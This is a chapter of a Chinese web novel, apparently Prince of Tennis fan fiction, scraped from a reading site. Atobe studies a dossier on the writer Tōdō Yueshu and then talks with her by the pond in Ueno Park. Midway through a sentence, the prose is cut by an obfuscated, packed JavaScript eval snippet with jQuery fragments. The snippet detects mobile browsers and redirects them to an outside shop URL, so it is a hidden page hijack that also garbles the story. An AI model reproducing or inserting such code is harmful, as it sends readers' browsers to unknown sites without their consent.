默认冷灰
24号文字
方正启体

5. 第 5 章

作者:草莓炫三斤本书字数:K更新时间:
    迹部景吾的调查效率高得惊人。


    三天后,一份详尽的档案就摆在了他书房的橡木桌上。窗外是冰帝学园网球场修剪整齐的草坪,午后的阳光透过百叶窗,在档案袋上切割出明暗交替的条纹。


    忍足侑士坐在对面的扶手椅里,翻着一本医学期刊,偶尔抬眼看看迹部翻阅文件时越来越严肃的表情。


    “有趣吗?”忍足问,关西腔里带着调侃。


    迹部没有回答。他修长的手指一页页翻过那些报告、照片、甚至几份影印的手稿。每多看一页,他眉间的皱痕就加深一分。


    档案的第一部分是藤堂家族在日本的情况——和他预想的差不多:表面和谐内里暗涌的豪门斗争,父亲藤堂次郎对家主之位的野心,母亲藤堂诗织出自艺术世家却早早嫁入豪门,成为温婉得体的二夫人。


    但第二部分开始,画风突变。


    六岁。藤堂月舒随母亲离开日本,前往意大利佛罗伦萨。名义上是“陪伴母亲回娘家修养”,实际上,是父亲藤堂次郎在家族斗争中的一步棋——将妻女送走,自己可以更专注地在日本经营人脉,争夺权力。


    母亲藤堂诗织在佛罗伦萨大学担任艺术史客座讲师,沉浸在自己的学术世界里。而六岁的藤堂月舒,被扔进一所国际学校,开始了一个人长大的历程。


    迹部看着那些照片:七岁的月舒垫着脚在厨房煮通心粉,九岁的月舒独自坐电车去上学,十一岁的月舒在超市对比商品价格,十三岁的月舒在租住的公寓里晾晒洗好的床单。


    报告里写着:从十岁开始,她就自己管理零用钱,安排作息,甚至帮母亲处理一些简单的行政事务。母亲藤堂诗织不是不关心女儿,只是她自己的世界被艺术、学术和某种压抑的忧郁填满了,留给女儿的空间有限。


    但月舒并不孤独。


    相反,报告显示她在意大利的朋友圈广泛得惊人:学校里的各国同学,街角面包店的老板娘,二手书店的老店主,露天广场弹吉他的流浪艺人,甚至大学里母亲的学生们。她似乎有种天生的亲和力,能轻易融入各种环境,却又始终保持一种微妙的距离感。


    “社交能力强,人际关系健康,学业优秀。”迹部低声念出报告里的评价,“老师评价:‘独立、成熟,有时过于安静’。”


    然后,是创作部分。


    档案里附了几份手稿的影印件——有短篇小说片段,有剧本场景,有零散的诗歌。字迹从稚嫩到逐渐成型,但内容……


    迹部拿起其中一页。


    那是一段描写佛罗伦萨黄昏的文字:


    「圣母百花大教堂的穹顶切开暮色,像神祇遗落的一瓣橘子。鸽子扑棱棱飞起,它们的翅膀沾着蜂蜜色的光。石板路开始呼吸,吐出白天吞咽的足音。我想起某个前世——也可能是梦——我也曾这样站在某座城市的黄昏里,等待一盏永远不会为我亮起的灯。」


    笔触惊艳,意象奇诡,完全不像一个十岁少女能写出的文字。


    “这些作品,”迹部翻到下一页的报告说明,“经常被母亲藤堂诗织拿去‘参考’。”


    忍足放下杂志,凑过来看。


    报告详细记录了多次事件:母亲将女儿写的诗稍作修改,用于自己的艺术评论文章;将女儿对某幅画作的解读,作为自己讲座的灵感来源;甚至有一次,将女儿写的一个短篇小说框架,扩展成自己的论文主题。


    “而藤堂月舒小姐,”迹部继续读,“对此从未表现出愤怒或抗议。她只是……停止了分享严肃的创作。”


    档案的最后一页,是近四年的记录。


    藤堂月舒开始写“其他类型”的作品。报告里附了几段摘录——全是狗血淋漓的剧情:


    《霸道财阀爱上我:契约新娘带球跑》


    《重生之我是豪门真千金:假千金给我跪下》


    《冷面校草轻点宠:学渣少女的逆袭》标题一个比一个离谱,内容更是集齐了所有能想到的狗血桥段:车祸失忆、绝症误会、带球跑、追妻火葬场……


    但奇妙的是,即使在这些看似荒诞的故事里,偶尔也会蹦出几句惊人的洞察:


    「他以为用黄金打造的笼子就能困住一只鸟,却忘了鸟的本能是飞翔——哪怕飞向的是暴风雨。」


    「她说爱是深渊,我说深渊里也有星空。我们都对,也都不对。爱只是爱,是人类非要给它贴上标签。」


    「看到她的第一眼起,他就明白。他会爱她,像狂兽像烈焰的爱。但不准,这事不能发生。会山崩地裂,会血肉模糊。」


    「爱只是发生。不能学」


    迹部盯着那些句子,久久没有说话。


    忍足推了推眼镜:“所以,她不是天然疏离。她是……选择了疏离。”


    “为了保护自己。”迹部轻声说,指尖拂过档案上少女十三岁时写的诗句,“也为了保护那些真正重要的东西。”


    档案里还有最后一份补充报告:关于藤堂月舒的“灵感来源”。


    老师们注意到,她偶尔会在课堂上突然走神,然后在笔记本上飞速写下一些片段——那些片段往往惊艳众人,但她自己却说不清灵感从何而来。有一次文学课,老师问她对但丁《神曲》的理解,她脱口而出:


    「地狱不是惩罚,是选择。每个灵魂都选择了自己的位置,因为那痛苦最熟悉。」


    全班寂静。老师问她这个理解从哪里来的,她只是茫然地眨眨眼,说:“我也不知道,就是突然想到了。”


    报告评价:可能具有某种超越年龄的直觉或通感能力。


    迹部合上档案,靠在椅背上,闭上眼睛。


    脑海中浮现出咖啡馆里那个场景:少女穿着墨绿长裙和湿透的帆布鞋,点燃香烟,说出那句“命运不值得怀念”时的漠然表情。


    现在他明白了。


    那不是故作深沉,不是青春期叛逆,也不是豪门千金的骄矜。


    那是一个人在经历了太早的独立、太复杂的家庭、被利用的才华、以及那些不知从何而来的破碎灵感之后,为自己构筑的防御工事。


    她写狗血小说,因为那是最安全的创作——没人会当真,没人会拿去“借鉴”,没人会追问灵感来源。


    她对人保持距离,因为亲密意味着暴露,暴露意味着可能再次被拿走什么。


    她看透豪门闹剧却选择沉默,因为她早就明白,有些深渊跳下去不是鹏程万里,只是换一种方式坠落。


    “她现在在哪?”迹部突然问。


    忍足看了眼手机:“铃木园子发来消息,说藤堂桑这几天一直待在那处宅邸,几乎不出门。哦,除了今天下午——她去了上野公园。”


    迹部站起身。


    “你要去找她?”忍足挑眉。


    “本大爷只是,”迹部拿起西装外套,动作有一丝不易察觉的急促,“恰好想去上野散步。”


    忍足笑了:“需要我‘恰好’陪同吗?”


    “不必。”迹部已经走向门口,“你今天的训练量还没完成。”


    忍足耸耸肩,看着迹部离开的背影,低声自语:“青春啊……”


    上野公园,不忍池畔。


    藤堂月舒坐在长椅上,膝盖上摊着一个素描本。她今天穿了条藏蓝色的长裙,依然搭配那双灰色帆布鞋。黑发松松地编成麻花辫垂在肩侧,发梢沾了一点不知从哪里蹭到的颜料。


    她在画池中的荷花。铅笔在纸上沙沙作响,线条干净利落。


    不远处,一群鸽子咕咕叫着觅食,几个孩子在追逐泡泡,老人坐在轮椅上晒太阳。夏日的午后慵懒得像一杯融化过头的冰淇淋。


    月舒画完最后一笔,合上素描本。她从包里拿出那个银色烟盒,抽出一支烟,却没有点燃,只是衔在唇间,望着池水发呆。


    那些调查报告中不知道的事,此刻正在她脑海中翻涌。


    是的,母亲会“借用”她的创作。但母亲也会在深夜抱着她,哭着说对不起,说自己被困在婚姻和身份里,说艺术是她唯一的出口。


    是的,她一个人在意大利长大。但面包店的老板娘会偷偷多给她一块刚烤好的面包,书店老爷爷会留给她绝版的诗集,广场上的流浪艺人会教她弹几个和弦。


    是的,她写狗血小说。但那不只是自我保护——她是真的享受那种纯粹的、不加掩饰的情感宣泄。在那些夸张的情节里,爱恨都简单明了,善恶都有报应,所有的痛苦最后都能被治愈。


    现实太复杂了。而小说,可以很简单。


    至于那些“突然的灵感”……


    月舒闭上眼睛。


    黑暗。楼梯。下坠。


    然后是零碎的画面:高楼林立的城市,闪烁的电脑屏幕,加班到凌晨的便利店便当,地铁里拥挤的人群,手机里永远回不完的工作消息。


    还有一句不知从哪里听来的话:「过劳死是社畜的劣质落幕。」


    她睁开眼睛,紫眸空茫。


    那些是什么?前世的记忆?还是某种共感?她不知道,也不想知道。有些谜题,解开了反而无趣。


    “不吸烟的话,叼着它做什么?”


    声音从身侧传来。


    月舒没有转头,只是慢慢把烟从唇间拿下来,放回烟盒。


    迹部景吾在她旁边的长椅


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333021|199199||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上坐下,隔着恰到好处的距离。他今天穿了简单的白衬衫和灰色长裤,没打领带,袖子挽到手肘,露出线条流畅的小臂。


    “练习造型。”月舒平淡地说,“有时候需要写抽烟的角色。”


    迹部笑了:“很敬业。”


    两人沉默了一会儿。池中的荷花在微风里轻轻摇曳。


    “本大爷去了佛罗伦萨三次。”迹部突然说,“喜欢圣母百花大教堂傍晚的光。”


    月舒的手指微微收紧。


    “也喜欢街角那家叫‘IlVecchio’的二手书店。”迹部继续说,声音很轻,“老板是个脾气古怪的老头,但如果你跟他聊但丁,他会请你喝自酿的柠檬酒。”


    月舒终于转过头,看向他。


    迹部也看着她,深紫色的眼眸里没有探究,没有怜悯,只有平静的陈述。


    “你调查我。”她说,不是质问,只是确认。


    “是。”迹部坦然承认,“本大爷不喜欢看不懂的人。”


    “那现在看懂了吗?”


    “更不懂了。”迹部说,但嘴角勾起一个弧度,“但至少知道,为什么看不懂。”


    月舒重新转回头,望着池水。


    “那些报告里没写的事,”她轻声说,“要补充吗?”


    “如果你想说的话。”


    又一阵沉默。鸽子飞起,翅膀划破空气。


    “母亲不是坏人。”月舒突然开口,“她只是……太破碎了,需要借用别人的完整来拼凑自己。我理解。”


    迹部没有说话,只是听着。


    “写狗血小说很快乐。”她继续说,“不用思考意义,不用追求深度,只需要把最夸张的情感堆砌起来,像搭积木。搭完了,推倒,再重来。爱与恨都很简单。”


    “那些突然的灵感呢?”迹部问,声音放得很轻。


    月舒停顿了很久。


    “像雨。”她最终说,“不知道从哪里来,但落下的时候,会打湿一些东西。然后蒸发,消失。循环往复。”


    迹部点点头,没有追问。


    他从口袋里掏出一样东西——不是钢笔,而是一个小小的、玫瑰形状的金属书签。


    “上次的钢笔,”他说,“可能太正式了。这个,更适合夹在素描本里。”


    月舒接过书签。冰凉的金属在掌心渐渐染上体温。


    “为什么是玫瑰?”她问。


    迹部想了想。


    “因为玫瑰很矛盾。”他说,“美丽,但有刺。象征爱情,也象征死亡。人人都认识它,但没人真正了解它——就像这世上大多数事物一样。”


    月舒看着手中的玫瑰书签,又看了看迹部。


    然后,她做了一件自己都没想到的事。


    她从素描本里撕下一张空白页,拿起那支迹部之前给的钢笔,飞快地写下一行字。


    递给迹部。


    迹部接过,看到上面写着:


    「他不是她的救赎,她也不需要被拯救。他们只是在各自的深渊里,偶然看到了对方手里也有火柴。」


    字迹清秀,墨水在纸上微微晕开。


    迹部看了很久。


    然后,他抬起头,对月舒笑了——不是那种华丽的、张扬的笑,而是一个简单的、真实的微笑。


    “这个,”他说,“可以给本大爷吗?”


    月舒点点头。


    迹部小心地将那张纸折好,放进口袋。动作郑重得像在收藏什么珍宝。


    “下周六,”他站起身,“冰帝学园开放日。要来看看吗?”


    月舒想了想。


    “帅哥多吗?”她问,表情认真。


    迹部愣了一下,然后低低地笑了起来。


    “很多。”他说,“但最帅的那个,你已经见过了。”


    月舒的嘴角,极轻微地,上扬了一个像素点。


    “那我去看看。”她说。


    迹部点点头,没有说再见,转身离开了。


    月舒坐在长椅上,看着他的背影消失在树影里。


    然后,她翻开素描本,在新的一页上,画了一朵玫瑰。


    不是完美的、对称的玫瑰。


    而是一朵有些歪斜的、花瓣边缘微微卷曲的、正在盛放也正在凋零的玫瑰。


    画完,她用那枚玫瑰书签,夹在了这一页。


    合上本子。


    夏风拂过不忍池,荷花摇曳。


    在这个狗血又真实的世界里,两个同样复杂的人,刚刚完成了一次没有剧本的、沉默的对话。


    而某个故事,也许正在无人察觉的角落,悄悄开始书写。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)